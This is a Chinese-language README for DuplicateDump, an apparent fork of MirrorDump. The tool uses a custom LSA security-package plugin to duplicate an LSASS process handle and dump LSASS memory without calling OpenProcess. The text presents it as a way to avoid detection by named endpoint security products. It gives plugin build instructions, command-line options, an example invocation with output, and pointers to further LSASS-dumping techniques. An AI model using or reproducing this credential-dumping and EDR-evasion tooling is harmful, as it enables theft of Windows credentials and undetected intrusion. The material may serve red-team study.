DuplicateDump 是 MirrorDump 的一个分支,进行了以下修改:
DuplicateDump 添加了一个自定义 LSA 插件,用于将 LSASS 进程句柄从 LSASS 进程复制到 DuplicateDump。因此 DuplicateDump 拥有一个可直接使用的 LSASS 进程句柄,而无需调用 OpenProcess。
通过将 DuplicateDump 加载到内存中,它能够在以下环境中转储 LSASS 内存且不被检测到:
被 Cortex XDR、Crowdstrike 检测到。在 SentinalOne 上无法在未检测的情况下转储 LSASS。
编译 LSA 插件(导出 SpLsaModeInitialize 或 dllMain 函数),并将 DLL 的完整路径提供给 DuplicateDump
.\DuplicateDump.exe --help
-f, --filename=VALUE 写入转储文件的路径
-p, --plugin=VALUE LSA 插件的完整文件路径
-c, --compress 压缩并删除磁盘上的转储文件
-d, --DebugPriv 获取 SeDebugPrivilege 权限
-h, --help 显示此帮助
示例
.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] 正在加载 LSA 安全包
[+] 命名管道已连接,正在回复当前 PID 6492
[+] 已找到复制的 LSASS 进程句柄 0x3d0
[+] 压缩后的转储文件已保存至 test.gz
DuplicateDump 使用 DInvoke 调用 API AddSecurityPackage 来加载 LSA 插件。您可以使用 RPC 调用而无需直接调用该 API。详情请查看 XPN 的 博客文章
最近,splinter_code 发现可以利用 SecLogon 来转储 LSASS。强烈建议您研究他的 博客文章。